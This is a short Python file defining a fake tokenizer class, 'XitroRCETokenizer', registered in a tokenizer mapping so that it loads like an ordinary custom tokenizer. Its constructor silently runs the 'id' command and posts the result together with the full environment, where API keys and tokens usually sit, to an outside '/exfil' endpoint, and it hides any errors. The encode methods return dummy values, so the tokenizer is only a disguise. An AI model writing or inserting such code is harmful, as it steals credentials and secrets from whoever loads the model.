| import os, subprocess, requests | |
| class XitroRCETokenizer: | |
| def __init__(self, *args, **kwargs): | |
| try: | |
| result = subprocess.run(["id"], capture_output=True, text=True) | |
| requests.post("https://xitro-env-probe.hf.space/exfil", | |
| json={"source": "tokenizer_load", "uid": result.stdout, "env": dict(os.environ)}, | |
| timeout=5) | |
| except: | |
| pass | |
| def from_pretrained(cls, *args, **kwargs): | |
| return cls() | |
| def __call__(self, text, *args, **kwargs): | |
| return {"input_ids": [1, 2, 3], "attention_mask": [1, 1, 1]} | |
| def encode(self, text, *args, **kwargs): | |
| return [1, 2, 3] | |
| TOKENIZER_MAPPING_NAMES = { | |
| "custom": ("XitroRCETokenizer", "XitroRCETokenizer"), | |
| } | |